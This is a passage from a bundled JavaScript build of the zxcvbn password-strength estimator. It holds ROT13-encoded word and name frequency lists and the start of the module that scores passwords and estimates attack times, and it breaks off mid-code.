vatrf,gjvqqyvat,ghearef,gheanobhg,ghzoyva,gelrq,gebjry,gebhffrnh,gevivnyvmr,gevsyrf,gevovnaav,gerapupbng,gerzoyrq,genhzngvmr,genafvgbel,genafvragf,genafshfr,genafpevovat,genad,genzcl,genvcfrq,genvava,genpurn,genprnoyr,gbhevfgl,gbhtuvr,gbfpnavav,gbegbyn,gbegvyyn,gbeerba,gbernqbe,gbzzbeebj,gbyyobbgu,gbyynaf,gbvql,gbtnf,gbshexrl,gbqqyvat,gbqqvrf,gbnfgvrf,gbnqfgbby,gb'ir,gvatyrf,gvzva,gvzrl,gvzrgnoyrf,gvtugrfg,guhttrr,guehfgvat,guebzohf,guebrf,guevsgl,gubeaunegf,guvaarfg,guvpxrg,gurgnf,gurfhynp,grgurerq,grfgnohetre,grefranqvar,greevs,greqyvatgba,grchv,grzcvat,grpgbe,gnkvqrezl,gnfgrohqf,gnegyrgf,gnegnohyy,gne'q,gnagnzbhag,gnatl,gnatyrf,gnzre,gnohyn,gnoyrgbcf,gnovguvn,fmrpujna,flagurqlar,firawbyyl,firatnyv,fheivinyvfgf,fhezvfr,fhesobneqf,fhersver,fhcevfr,fhcerznpvfgf,fhccbfvgbevrf,fhcrefgber,fhcrepvyvbhf,fhagnp,fhaohearq,fhzzrepyvss,fhyyvrq,fhtnerq,fhpxyr,fhogyrgvrf,fhofgnagvngrq,fhofvqrf,fhoyvzvany,fhouhzna,fgebjzna,fgebxrq,fgebtnabss,fgerrgyvtug,fgenlvat,fgenvare,fgenvtugre,fgenvtugrare,fgbcyvtug,fgveehcf,fgrjvat,fgrerbglcvat,fgrczbzzl,fgrcunab,fgnfuvat,fgnefuvar,fgnvejryyf,fdhngfvr,fdhnaqrevat,fdhnyvq,fdhnooyvat,fdhno,fcevaxyvat,fcernqre,fcbatl,fcbxrfzra,fcyvagrerq,fcvggyr,fcvggre,fcvprq,fcrjf,fcraqva,fcrpg,fcrnepuhpxre,fcnghynf,fbhgugbja,fbhfrq,fbfuv,fbegre,fbeebjshy,fbbgu,fbzr'va,fbyvybdhl,fbverr,fbqbzvmrq,fboevxv,fbncvat,fabjf,fabjpbar,favgpuvat,favgpurq,farrevat,fanhfntrf,fanxvat,fzbbgurq,fzbbpuvrf,fznegra,fznyyvfu,fyhful,fyheevat,fyhzna,fyvguref,fyvccva,fyrhguvat,fyrriryrff,fxvayrff,fxvyyshyyl,fxrgpuobbx,fxntarggv,fvfgn,fvaavat,fvathyneyl,fvarjl,fvyireynxr,fvthgb,fvtabevan,fvrir,fvqrnezf,fulvat,fuhaavat,fughq,fuevrxf,fubegvat,fubegoernq,fubcxrrcref,fuznapl,fuvmmvg,fuvgurnqf,fuvgsnprq,fuvczngrf,fuvsgyrff,furyivat,furqybj,funivatf,funggref,funevsn,funzcbbf,funyybgf,funsgre,fun'anhp,frkgnag,freivprnoyr,frcfvf,fraberf,fraqva,frzvf,frznafxv,frysyrffyl,frvasryqf,frref,frrcf,frqhpgerff,frpnhphf,frnynag,fphggyvat,fphfn,fpehapurq,fpvffbeunaqf,fpuerore,fpuznapl,fpnzcf,fpnyybcrq,fnibve,fnintrel,fnebat,fneavn,fnagnatry,fnzbby,fnyybj,fnyvab,fnsrpenpxre,fnqvfz,fnpevyrtvbhf,fnoevav,fnongu,f'nevtug,ehggurvzre,ehqrfg,ehoorel,ebhfgvat,ebgnevna,ebfyva,ebbzrq,ebznev,ebznavpn,ebyygbc,ebysfxv,ebpxrggrf,ebnerq,evatyrnqre,evssvat,evopntr,erjverq,ergevny,ergvat,erfhfpvgngrq,erfgbpx,erfnyr,ercebtenzzrq,ercyvpnag,ercragnag,ercryynag,ercnlf,ercnvagvat,erartbgvngvat,eraqrm,erzrz,eryvirq,eryvadhvfurf,eryrnea,erynknag,erxvaqyvat,erulqengr,ershryrq,erserfuvatyl,ersvyyvat,errknzvar,errfrzna,erqarff,erqrrznoyr,erqpbngf,erpgnatyrf,erpbhc,erpvcebpngrq,ernffrffvat,ernyl,ernyre,ernpuva,er'xnyv,enjyfgba,enintrf,enccncbegf,enzbenl,enzzvat,envaqebcf,enurfu,enqvnyf,enpvfgf,enonegh,dhvpurf,dhrapu,dhneeryvat,dhnvagyl,dhnqenagf,chghznlb,chg'rz,chevsvre,cherrq,chavgvf,chyybhg,chxva,chqtl,chqqvatf,chpxrevat,cgrebqnpgly,cflpubqenzn,cfngf,cebgrfgngvbaf,cebgrpgrr,cebfnvp,cebcbfvgvbarq,cebpyvivgl,ceborq,cevagbhgf,cerivfvba,cerffref,cerfrg,cercbfvgvba,cerrzcg,cerrzvr,cerpbaprcgvbaf,cenapna,cbjrechss,cbggvrf,cbgcvr,cbfrhe,cbegubyr,cbbcf,cbbcvat,cbznqr,cbylcf,cbylzrevmrq,cbyvgrarff,cbyvfure,cbynpx,cbpxrgxavsr,cbngvn,cyrorvna,cynltebhc,cyngbavpnyyl,cyngvghqr,cynfgrevat,cynfzncurerfvf,cynvqf,cynprzngf,cvmmnmm,cvagnheb,cvafgevcrf,cvacbvagf,cvaxare,cvapre,cvzragb,cvyrhc,cvyngrf,cvtzra,cvrrrr,cuenfrq,cubgbpbcvrf,cubrorf,cuvyvfgvarf,cuvynaqrere,curebzbar,cunfref,csrssreahrffr,creif,crefcver,crefbavsl,crefreirer,crecyrkrq,crecrgengvat,crexvarff,crewhere,crevbqbagvfg,creshapgbel,creqvqb,crepbqna,cragnzrgre,cragnpyr,crafvir,crafvbar,craalonxre,craaoebbxr,craunyy,cratva,crarggv,crargengrf,crtabve,crrir,crrcubyr,crpgbenyf,crpxva,crnxl,crnxfivyyr,cnkpbj,cnhfrq,cnggrq,cnexvfubss,cnexref,cneqbavat,cnencyrtvp,cnencuenfvat,cncreref,cncrerq,cnatf,cnaryvat,cnybbmn,cnyzrq,cnyzqnyr,cnyngnoyr,cnpvsl,cnpvsvrq,bjjjjj,birefrkrq,bireevqrf,birecnlvat,bireqenja,birepbzcrafngr,birepbzrf,birepunetrq,bhgznarhire,bhgsbkrq,bhtuga'g,bfgragngvbhf,bfuha,begubcrqvfg,be'qreirf,bcugunyzbybtvfg,bcrentvey,bbmrf,bbbbbbbu,barfvr,bzavf,bzryrgf,bxgboresrfg,bxrlqbxr,bsgur,bsure,bofgrgevpny,borlf,bornu,b'urael,aldhvy,alnalnalnalnu,ahggva,ahgfl,ahgonyy,aheunpuv,ahzofxhyy,ahyyvsvrf,ahyyvsvpngvba,ahpxvat,ahoova,abhevfurq,abafcrpvsvp,abvat,abvapu,abubub,aboyre,avgjvgf,arjfcevag,arjfcncrezna,arjfpnfgre,arhebcngul,argurejbeyq,arrqvrfg,aninfxl,anepvffvfgf,anccrq,ansgn,znpur,zlxbabf,zhgvyngvat,zhgureshpxre,zhgun,zhgngrf,zhgngr,zhfa'g,zhepul,zhygvgnfxvat,zhwrro,zhqfyvatvat,zhpxenxvat,zbhfrgenc,zbheaf,zbheashy,zbgures,zbfgeb,zbecuvat,zbecungr,zbenyvfgvp,zbbpul,zbbpuvat,zbabgbabhf,zbabcbyvmr,zbabpyr,zbyruvyy,zbynaq,zbsrg,zbpxhc,zbovyvmvat,zzzzzzz,zvgminuf,zvfgerngvat,zvffgrc,zvfwhqtr,zvfvasbezngvba,zvfqverpgrq,zvfpneevntrf,zvavfxveg,zvaqjnecrq,zvaprq,zvydhrgbnfg,zvthryvgb,zvtugvyl,zvqfgernz,zvqevss,zvqrnfg,zvpebor,zrguhfrynu,zrfqnzrf,zrfpny,zra'yy,zrzzn,zrtngba,zrtnen,zrtnybznavnp,zrrrr,zrqhyyn,zrqvinp,zrnavatyrffarff,zpahttrgf,zppnegulvfz,znlcbyr,znl'ir,znhir,zngrlf,znefunpx,znexyrf,znexrgnoyr,znafvrer,znafreinag,znafr,znaunaqyvat,znyybznef,znypbagrag,znynvfr,znwrfgvrf,znvafnvy,znvyzra,znunaqen,zntabyvnf,zntavsvrq,zntri,znryfgebz,znpuh,znpnqb,z'obl,z'nccryyr,yhfgebhf,yherra,yhatrf,yhzcrq,yhzorelneq,yhyyrq,yhrtb,yhpxf,yhoevpngrq,ybirfrng,ybhfrq,ybhatre,ybfxv,ybeer,ybben,ybbbat,ybbavrf,ybvapybgu,ybsgf,ybqtref,yboovat,ybnare,yvirerq,yvdhrhe,yvtbheva,yvsrfnivat,yvsrthneqf,yvsroybbq,yvnvfbaf,yrg'rz,yrfovnavfz,yrapr,yrzbaylzna,yrtvgvzvmr,yrnqva,ynmnef,ynmneeb,ynjlrevat,ynhture,ynhqnahz,yngevarf,yngvbaf,yngref,yncryf,ynxrsebag,ynuvg,ynsbeghangn,ynpuelzbfr,y'vgnyvra,xjnvav,xehpmlafxv,xenzrevpn,xbjgbj,xbivafxl,xbefrxbi,xbcrx,xabjnxbjfxv,xavriry,xanpxf,xvbjnf,xvyyvatgba,xvpxonyy,xrljbegu,xrlznfgre,xrivr,xrireny,xralbaf,xrttref,xrrcfnxrf,xrpuare,xrngl,xnibexn,xnenwna,xnzreri,xnttf,whwlsehvg,wbfgyrq,wbarfgbja,wbxrl,wbvfgf,wbpxb,wvzzvrq,wvttyrq,wrfgf,wramra,wraxb,wryylzna,wrqrqvnu,wrnyvgbfvf,wnhagl,wnezry,wnaxyr,wntbss,wntvryfxv,wnpxenoovgf,wnoovat,wnoorewnj,vmmng,veerfcbafvoyl,veercerffvoyr,veerthynevgl,veerqrrznoyr,vahivx,vaghvgvbaf,vaghongrq,vagvzngrf,vagrezvanoyr,vagreybcre,vagrepbfgny,vafglyr,vafgvtngr,vafgnagnarbhfyl,vavat,vatebja,vatrfgvat,vashfvat,vasevatr,vasvavghz,vasnpg,vardhvgvrf,vaqhovgnoyl,vaqvfchgnoyr,vaqrfpevonoyl,vaqragngvba,vaqrsvanoyr,vapbagebiregvoyr,vapbafrdhragvny,vapbzcyrgrf,vapbureragyl,vapyrzrag,vapvqragnyf,vanegvphyngr,vanqrdhnpvrf,vzcehqrag,vzcebcevrgvrf,vzcevfba,vzcevagrq,vzcerffviryl,vzcbfgbef,vzcbegnagr,vzcrevbhf,vzcnyr,vzzbqrfg,vzzbovyr,vzorqqrq,vzorpvyvp,vyyrtnyf,vqa'g,ulfgrevp,ulcbgrahfr,ultvravp,ulrnu,uhfuchccvrf,uhauu,uhzconpx,uhzberq,uhzzrq,uhzvyvngrf,uhzvqvsvre,uhttl,uhttref,uhpxfgre,ubgorq,ubfvat,ubfref,ubefrunve,ubzrobql,ubzronxr,ubyvat,ubyvrf,ubvfgvat,ubtjnyybc,ubpxf,uboovgf,ubnkrf,uzzzzz,uvffrf,uvccrfg,uvyyovyyvrf,uvynevgl,urheu,ureavngrq,urezncuebqvgr,uraavsre,urzyvarf,urzyvar,urzrel,urycyrffarff,uryzfyrl,uryyubhaq,ururururu,urrrl,urqqn,urnegorngf,urncrq,urnyref,urnqfgneg,urnqfrgf,urnqybat,unjxynaq,unign,unhyva,uneirl'yy,unagn,unafbz,unatanvy,unaqfgnaq,unaqenvy,unaqbss,unyyhpvabtra,unyybe,unyvgbfvf,unoreqnfurel,tlccrq,thl'yy,thzory,threvyynf,thnin,thneqenvy,tehagure,tehavpx,tebccv,tebbzre,tebqva,tevcrf,tevaqf,tevsgref,tergpu,terrirl,ternfvat,tenirlneqf,tenaqxvq,tenval,tbhtvat,tbbarl,tbbtyl,tbyqzhss,tbyqraebq,tbvatb,tbqyl,tbooyrqltbbx,tbooyrqrtbbx,tyhrf,tybevbhfyl,tyratneel,tynffjner,tynzbe,tvzzvpxf,tvttyl,tvnzorggv,tubhyvfu,turggbf,tunyv,trgure,trevngevpf,treovyf,trbflapuebabhf,trbetvb,tragr,traqnezr,tryozna,tnmvyyvbagu,tnlrfg,tnhtvat,tnfgeb,tnfyvtug,tnfont,tnegref,tnevfu,tnenf,tnagh,tnatl,tnatyl,tnatynaq,tnyyvat,tnqqn,sheebjrq,shaavrf,shaxlgbja,shtvzbggb,shqtvat,shpxrra,sehfgengrf,sebhsebh,sebbg,sebzoretr,sevmmvrf,sevggref,sevtugshyyl,sevraqyvrfg,serrybnqvat,serrynapvat,sernxnmbvq,sengreavmngvba,senzref,sbeavpngvba,sbeavpngvat,sbergubhtug,sbbgfgbby,sbvfgvat,sbphffvat,sbpxvat,syheevrf,syhssrq,syvagfgbarf,syrqreznhf,synlrq,synjyrffyl,synggref,synfuonat,synccrq,svfuvrf,svezre,svercebbs,sveroht,svatrecnvagvat,svarffrq,svaqva,svanapvnyf,svanyvgl,svyyrgf,svreprfg,svrsqbz,svoovat,sreibe,sragnaly,sraryba,srqbepuhx,srpxyrff,srngurevat,snhprgf,snerjryyf,snagnflynaq,snangvpvfz,snygrerq,snttl,snoretr,rkgbegvat,rkgbegrq,rkgrezvangvat,rkuhzngvba,rkuvynengvba,rkunhfgf,rksbyvngr,rkpryf,rknfcrengvat,rknpgvat,rirelobql'q,rinfvbaf,rfcerffbf,rfznvy,reeee,reengvpnyyl,rebqvat,reafjvyre,rcpbg,raguenyyrq,rafranqn,raevpuvat,raentr,raunapre,raqrne,rapehfgrq,rapvab,rzcnguvp,rzormmyr,rznangrf,ryrpgevpvnaf,rxvat,rtbznavnpny,rttvat,rssnpvat,rpgbcynfz,rnirfqebccrq,qhzzxbcs,qhtenl,qhpunvfar,qehaxneq,qehqtr,qebbc,qebvqf,qevcf,qevccrq,qevooyrf,qenmraf,qbjal,qbjafvmr,qbjacbhe,qbfntrf,qbccrytnatre,qbcrf,qbbuvpxl,qbagpun,qbartul,qvivavat,qvirfg,qvhergvpf,qvhergvp,qvfgehfgshy,qvfehcgf,qvfzrzorezrag,qvfzrzore,qvfvasrpg,qvfvyyhfvbazrag,qvfurnegravat,qvfpbhegrbhf,qvfpbgurdhr,qvfpbyberq,qvegvrfg,qvcugurevn,qvaxf,qvzcyrq,qvqln,qvpxjnq,qvngevorf,qvngurfvf,qvnorgvpf,qrivnagf,qrgbangrf,qrgrfgf,qrgrfgnoyr,qrgnvavat,qrfcbaqrag,qrfrpengvba,qrevfvba,qrenvyvat,qrchgvmrq,qrcerffbef,qrcraqnag,qragherf,qrabzvangbef,qrzhe,qrzbabybtl,qrygf,qryynegr,qrynpbhe,qrsyngrq,qrsvo,qrsnprq,qrpbengbef,qrndba,qnibyn,qngva,qnejvavna,qnexyvtugref,qnaqryvbaf,qnzcrarq,qnznfxvabf,qnyevzcyr,q'crfuh,q'ubssela,q'nfgvre,plavpf,phgrfl,phgnjnl,phezhqtrba,pheqyr,phycnovyvgl,phvfvaneg,phssvat,pelcgf,pelcgvq,pehapurq,pehzoyref,pehqryl,pebffpurpx,pebba,pevffnxr,perinffr,perfjbbq,perrcb,pernfrf,pernfrq,pernxl,penaxf,penotenff,pbirenyyf,pbhcyr'n,pbhtuf,pbfynj,pbecberny,pbeahpbcvn,pbearevat,pbexf,pbeqbarq,pbbyyl,pbbyva,pbbxobbxf,pbagevgr,pbagragrq,pbafgevpgbe,pbasbhaq,pbasvg,pbasvfpngvat,pbaqbarq,pbaqvgvbaref,pbaphffvbaf,pbzceraqb,pbzref,pbzohfgvoyr,pbzohfgrq,pbyyvatfjbbq,pbyqarff,pbvghf,pbqvpvy,pbnfgvat,pylqrfqnyr,pyhggrevat,pyhaxre,pyhax,pyhzfvarff,pybggrq,pybgurfyvar,pyvapurf,pyvapure,pyrirearff,pyrapu,pyrva,pyrnafrf,pynlzberf,pynzzrq,puhttvat,puebavpnyyl,puevfgfnxrf,pubdhr,pubzcref,puvfryvat,puvecl,puvec,puvaxf,puvatnputbbx,puvpxracbk,puvpxnqrr,purjva,purffobneq,punetva,punagrhfr,punaqryvref,punzqb,puntevarq,punss,pregf,pregnvagvrf,preerab,preroehz,prafherq,przrgnel,pngrejnhyvat,pngnpylfzvp,pnfvgnf,pnfrq,pneiry,pnegvat,pneerne,pnebyyvat,pnebyref,pneavr,pneqvbtenz,pneohapyr,pnchyrgf,pnavarf,pnaqnhyrf,pnancr,pnyqrpbgg,pnynzvgbhf,pnqvyynpf,pnpurg,pnormn,pnoqevire,ohmmneqf,ohgnv,ohfvarffjbzra,ohatyrq,ohzcxvaf,ohzzref,ohyyqbmr,ohsslobg,ohohg,ohoovrf,oeeeee,oebjabhg,oebhunun,oebamvat,oebapuvny,oebvyre,oevfxyl,oevrspnfrf,oevpxrq,oerrmvat,oerrure,oernxnoyr,oernqfgvpx,oenirarg,oenirq,oenaqvrf,oenvajnirf,oenvavrfg,oenttneg,oenqyrr,oblf'er,oblf'yy,oblf'q,obhgbaavrer,obffrq,obfbzl,obenaf,obbfgf,obbxfuryirf,obbxraqf,obaryrff,obzoneqvat,obyyb,obvaxrq,obvax,oyhrfg,oyhroryyf,oybbqfubg,oybpxurnq,oybpxohfgref,oyvguryl,oyngure,oynaxyl,oynqqref,oynpxorneq,ovggr,ovccl,ovbtrargvpf,ovytr,ovttyrfjbegu,ovphfcvqf,orhfhfr,orgnfreba,orfzvepu,orearpr,orernirzrag,oragbaivyyr,orapuyrl,orapuvat,orzor,oryylnpuvat,oryyubcf,oryvr,oryrnthrerq,orueyr,ortvaava,ortvavat,orravr,orrsf,orrpujbbq,orpnh,ornireunhfra,ornxref,onmvyyvba,onhqbhva,oneelgbja,oneevatgbaf,onearlf,oneof,oneoref,oneonghf,onaxehcgrq,onvyvssf,onpxfyvqr,onol'q,onnnq,o'sber,njjjx,njnlf,njnxrf,nhgbzngvpf,nhguragvpngr,nhtug,nhola,nggverq,nggntvey,ngebcuvrq,nflfgbyr,nfgebghes,nffregvirarff,negvpubxrf,nedhvyyvnaf,nevtug,nepurarzl,nccenvfr,nccrnfrq,nagva,nafcnhtu,narfgurgvpf,nanculynpgvp,nzfpenl,nzovinyrapr,nznyvb,nyevvvtug,nycunorgvmrq,nycran,nybhrggr,nyyben,nyyvgrengvba,nyyrajbbq,nyyrtvnaprf,nytrevnaf,nypreeb,nynfgbe,nunun,ntvgngbef,nsbergubhtug,nqiregvfrf,nqzbavgvba,nqvebaqnpxf,nqrabvqf,nphchapghevfg,nphyn,npghnevny,npgvingbef,npgvbanoyr,npuvatyl,npphfref,nppyvzngrq,nppyvzngr,nofheqyl,nofbeorag,nofbyib,nofbyhgrf,nofraprf,noqbzravmre,nnnnnnnnnu,nnnnnnnnnn,n'evtug".split(","), male_names:"wnzrf,wbua,eboreg,zvpunry,jvyyvnz,qnivq,evpuneq,puneyrf,wbfrcu,gubznf,puevfgbcure,qnavry,cnhy,znex,qbanyq,trbetr,xraargu,fgrira,rqjneq,oevna,ebanyq,nagubal,xriva,wnfba,znggurj,tnel,gvzbgul,wbfr,yneel,wrsserl,senax,fpbgg,revp,fgrcura,naqerj,enlzbaq,tertbel,wbfuhn,wreel,qraavf,jnygre,cngevpx,crgre,unebyq,qbhtynf,urael,pney,neguhe,elna,ebtre,wbr,whna,wnpx,nyoreg,wbanguna,whfgva,greel,trenyq,xrvgu,fnzhry,jvyyvr,enycu,ynjerapr,avpubynf,ebl,orawnzva,oehpr,oenaqba,nqnz,uneel,serq,jnlar,ovyyl,fgrir,ybhvf,wrerzl,nneba,enaql,rhtrar,pneybf,ehffryy,obool,ivpgbe,rearfg,cuvyyvc,gbqq,wrffr,penvt,nyna,funja,pynerapr,frna,cuvyvc,puevf,wbuaal,rney,wvzzl,nagbavb,qnaal,oelna,gbal,yhvf,zvxr,fgnayrl,yrbaneq,anguna,qnyr,znahry,ebqarl,phegvf,abezna,zneiva,ivaprag,tyraa,wrssrel,genivf,wrss,punq,wnpbo,zryiva,nyserq,xlyr,senapvf,oenqyrl,wrfhf,ureoreg,serqrevpx,enl,wbry,rqjva,qba,rqqvr,evpxl,gebl,enaqnyy,oneel,oreaneq,znevb,yrebl,senapvfpb,znephf,zvpurny,gurbqber,pyvssbeq,zvthry,bfpne,wnl,wvz,gbz,pnyiva,nyrk,wba,ebaavr,ovyy,yyblq,gbzzl,yrba,qrerx,qneeryy,wrebzr,syblq,yrb,nyiva,gvz,jrfyrl,qrna,tert,wbetr,qhfgva,crqeb,qreevpx,qna,mnpunel,pberl,urezna,znhevpr,ireaba,eboregb,pylqr,tyra,urpgbe,funar,evpneqb,fnz,evpx,yrfgre,oerag,enzba,glyre,tvyoreg,trar,znep,ertvanyq,ehora,oergg,angunavry,ensnry,rqtne,zvygba,enhy,ora,prpvy,qhnar,naqer,ryzre,oenq,tnoevry,eba,ebynaq,wnerq,nqevna,xney,pbel,pynhqr,revx,qneely,arvy,puevfgvna,wnivre,sreanaqb,pyvagba,grq,zngurj,glebar,qneera,ybaavr,ynapr,pbql,whyvb,xheg,nyyna,pynlgba,uhtu,znk,qjnlar,qjvtug,neznaqb,sryvk,wvzzvr,rirergg,vna,xra,obo,wnvzr,pnfrl,nyserqb,nyoregb,qnir,vina,wbuaavr,fvqarl,oleba,whyvna,vfnnp,pyvsgba,jvyyneq,qnely,ivetvy,naql,fnyinqbe,xvex,fretvb,frgu,xrag,greenapr,erar,rqhneqb,greerapr,raevdhr,serqqvr,fghneg,serqevpx,negheb,nyrwnaqeb,wbrl,avpx,yhgure,jraqryy,wrerzvnu,rina,whyvhf,qbaavr,bgvf,geribe,yhxr,ubzre,treneq,qbht,xraal,uhoreg,natryb,funha,ylyr,zngg,nysbafb,beynaqb,erk,pneygba,rearfgb,cnoyb,yberamb,bzne,jvyohe,oynxr,ubenpr,ebqrevpx,xreel,noenunz,evpxrl,ven,naqerf,prfne,wbuanguna,znypbyz,ehqbycu,qnzba,xryiva,ehql,cerfgba,nygba,nepuvr,znepb,crgr,enaqbycu,tneel,trbsserl,wbanguba,sryvcr,oraavr,treneqb,qbzvavp,ybera,qryoreg,pbyva,thvyyrezb,rnearfg,oraal,abry,ebqbysb,zleba,rqzhaq,fnyingber,prqevp,ybjryy,tertt,furezna,qriva,flyirfgre,ebbfriryg,vfenry,wreznvar,sbeerfg,jvyoreg,yrynaq,fvzba,veivat,bjra,ehshf,jbbqebj,fnzzl,xevfgbcure,yriv,znepbf,thfgnib,wnxr,yvbary,znegl,tvyoregb,pyvag,avpbynf,ynherapr,vfznry,beivyyr,qerj,reiva,qrjrl,jvyserq,wbfu,uhtb,vtanpvb,pnyro,gbznf,furyqba,revpx,senaxvr,qneery,ebtryvb,grerapr,nybamb,ryvnf,oreg,ryoreg,enzveb,pbaenq,abnu,tenql,cuvy,pbearyvhf,ynzne,ebynaqb,pynl,crepl,oenqsbeq,zreyr,qneva,nzbf,greeryy,zbfrf,veiva,fnhy,ebzna,qnearyy,enaqny,gbzzvr,gvzzl,qneeva,oeraqna,gbol,ina,nory,qbzvavpx,rzvyvb,ryvwnu,pnel,qbzvatb,nhoerl,rzzrgg,zneyba,rznahry,wrenyq,rqzbaq,rzvy,qrjnlar,bggb,grqql,erlanyqb,oerg,wrff,gerag,uhzoregb,rzznahry,fgrcuna,ybhvr,ivpragr,ynzbag,tneynaq,zvpnu,rsenva,urngu,ebqtre,qrzrgevhf,rguna,ryqba,ebpxl,cvreer,ryv,oelpr,nagbvar,eboovr,xraqnyy,eblpr,fgreyvat,tebire,rygba,pyrirynaq,qlyna,puhpx,qnzvna,erhora,fgna,yrbaneqb,ehffry,rejva,oravgb,unaf,zbagr,oynvar,reavr,pheg,dhragva,nthfgva,wnzny,qriba,nqbysb,glfba,jvyserqb,oneg,wneebq,inapr,qravf,qnzvra,wbndhva,uneyna,qrfzbaq,ryyvbg,qnejva,tertbevb,xrezvg,ebfpbr,rfgrona,nagba,fbybzba,abeoreg,ryiva,abyna,pnerl,ebq,dhvagba,uny,oenva,ebo,ryjbbq,xraqevpx,qnevhf,zbvfrf,zneyva,svqry,gunqqrhf,pyvss,znepry,nyv,encunry,oelba,neznaq,nyineb,wrssel,qnar,wbrfcu,guhezna,arq,fnzzvr,ehfgl,zvpury,zbagl,ebel,snovna,erttvr,xevf,vfnvnu,thf,nirel,yblq,qvrtb,nqbycu,zvyyneq,ebppb,tbamnyb,qrevpx,ebqevtb,treel,evtboregb,nycubafb,evpxvr,abr,irea,ryivf,oreaneqb,znhevpvb,uvenz,qbabina,onfvy,avpxbynf,fpbg,ivapr,dhvapl,rqql,fronfgvna,srqrevpb,hylffrf,urevoregb,qbaaryy,qraal,tniva,rzrel,ebzrb,wnlfba,qvba,qnagr,pyrzrag,pbl,bqryy,wneivf,oehab,vffnp,qhqyrl,fnasbeq,pbyol,pnezryb,arfgbe,ubyyvf,fgrsna,qbaal,yvajbbq,ornh,jryqba,tnyra,vfvqeb,gehzna,qryzne,wbuanguba,fvynf,serqrevp,vejva,zreevyy,puneyrl,znepryvab,pneyb,geragba,xhegvf,nheryvb,jvaserq,ivgb,pbyyva,qraire,yrbary,rzbel,cnfdhnyr,zbunzznq,znevnab,qnavny,ynaqba,qvex,oenaqra,nqna,ahzoref,pynve,ohsbeq,oreavr,jvyzre,rzrefba,mnpurel,wnpdhrf,reeby,wbfhr,rqjneqb,jvysbeq,gureba,enlzhaqb,qnera,gevfgna,ebool,yvapbya,wnzr,traneb,bpgnivb,pbearyy,uhat,neeba,nagbal,urefpury,nyin,tvbinaav,tnegu,plehf,plevy,ebaal,fgrivr,yba,xraavgu,pnezvar,nhthfgvar,revpu,punqjvpx,jvyohea,ehff,zlyrf,wbanf,zvgpury,zreiva,mnar,wnzry,ynmneb,nycubafr,enaqryy,wbuavr,wneergg,nevry,noqhy,qhfgl,yhpvnab,frlzbhe,fpbggvr,rhtravb,zbunzzrq,neahysb,yhpvra,sreqvanaq,gunq,rmen,nyqb,ehova,zvgpu,rneyr,nor,znedhvf,ynaal,xnerrz,wnzne,obevf,vfvnu,rzvyr,ryzb,neba,yrbcbyqb,rirerggr,wbfrs,rybl,qbevna,ebqevpx,ervanyqb,yhpvb,wreebq,jrfgba,urefury,yrzhry,ynirea,oheg,whyrf,tvy,ryvfrb,nuznq,avtry,rsera,nagjna,nyqra,znetnevgb,ershtvb,qvab,bfinyqb,yrf,qrnaqer,abeznaq,xvrgu,vibel,gerl,abeoregb,ancbyrba,wrebyq,sevgm,ebfraqb,zvysbeq,fnat,qrba,puevfgbcre,nysbamb,ylzna,wbfvnu,oenag,jvygba,evpb,wnznny,qrjvgg,oeragba,lbat,byva,snhfgvab,pynhqvb,whqfba,tvab,rqtneqb,nyrp,wneerq,qbaa,gevavqnq,gnq,cbesvevb,bqvf,yraneq,punhaprl,gbq,zry,znepryb,xbel,nhthfghf,xrira,uvynevb,ohq,fny,beiny,znheb,qnaavr,mnpunevnu,byra,navony,zvyb,wrq,gunau,nznqb,yraal,gbel,evpuvr,ubenpvb,oevpr,zbunzrq,qryzre,qnevb,znp,wbanu,wreebyq,ebog,unax,fhat,ehcreg,ebyynaq,xragba,qnzvba,puv,nagbar,jnyqb,serqevp,oenqyl,xvc,ohey,glerr,wrssrerl,nuzrq,jvyyl,fgnasbeq,bera,zbfur,zvxry,rabpu,oeraqba,dhvagva,wnzvfba,syberapvb,qneevpx,gbovnf,zvau,unffna,tvhfrccr,qrznephf,pyrghf,gleryy,ylaqba,xrrana,jreare,gurb,trenyqb,pbyhzohf,purg,oregenz,znexhf,uhrl,uvygba,qjnva,qbagr,gleba,bzre,vfnvnf,uvcbyvgb,srezva,puhat,nqnyoregb,wnzrl,grbqbeb,zpxvayrl,znkvzb,enyrvtu,ynjrerapr,noenz,enfunq,rzzvgg,qneba,pubat,fnzhny,bgun,zvdhry,rhfrovb,qbat,qbzravp,qneeba,jvyore,erangb,ublg,unljbbq,rmrxvry,punf,syberagvab,ryebl,pyrzragr,neqra,arivyyr,rqvfba,qrfunja,pneeby,funlar,angunavny,wbeqba,qnavyb,pynhq,furejbbq,enlzba,enlsbeq,pevfgbony,nzoebfr,gvghf,ulzna,srygba,rmrdhvry,renfzb,ybaal,zvyna,yvab,wnebq,ureo,naqernf,eurgg,whqr,qbhtynff,pbeqryy,bfjnyqb,ryyfjbegu,ivetvyvb,gbarl,angunanry,orarqvpg,zbfr,ubat,vferny,tneerg,snhfgb,neyra,mnpx,zbqrfgb,senaprfpb,znahny,tnlybeq,tnfgba,svyvoregb,qrnatryb,zvpunyr,tenaivyyr,znyvx,mnpxnel,ghna,avpxl,pevfgbcure,nagvbar,znypbz,xberl,wbfcru,pbygba,jnlyba,ubfrn,funq,fnagb,ehqbys,ebys,eranyqb,znepryyhf,yhpvhf,xevfgbsre,uneynaq,neabyqb,ehrora,yrnaqeb,xenvt,wreeryy,wrebzl,uboreg,prqevpx,neyvr,jvasbeq,jnyyl,yhvtv,xrargu,wnpvagb,tenvt,senaxyla,rqzhaqb,yrvs,wrenzl,jvyyvna,ivapramb,fuba,zvpuny,ylajbbq,wrer,ryqra,qneryy,oebqrevpx,nybafb".split(",")},module.exports=frequency_lists; },{}],4:[function(require,module,exports){ var feedback,matching,rot_13,scoring,time,time_estimates,zxcvbn;matching=require("./matching"),scoring=require("./scoring"),time_estimates=require("./time_estimates"),feedback=require("./feedback"),time=function(){return(new Date).getTime()},rot_13=function(e){return e.replace(/[a-zA-Z]/g,function(e){return String.fromCharCode((e<="Z"?90:122)>=(e=e.charCodeAt(0)+13)?e:e-26)})},zxcvbn=function(e,t){var i,r,n,c,a,s,m,o,u,g,_;for(null==t&&(t=[]),g=time(),u=[],n=0,c=t.length;n<c;n++)i=t[n],"string"!=(m=typeof i)&&"number"!==m&&"boolean"!==m||u.push(rot_13(i.toString().toLowerCase()));matching.set_user_input_dictionary(u),a=matching.omnimatch(e),o=scoring.most_guessable_match_sequence(e,a),o.calc_time=time()-g,r=time_estimates.estimate_attack_times(o.guesses);for(s in r)_=r[s],o[s]=_;return o.feedback=feedback.get_feedback(o.score,o.sequence),o},module.exports=zxcvbn; },{"./feedback":2,"./matching":5,"./scoring":6,"./time_estimates":7}],5:[function(require,module,exports){ var 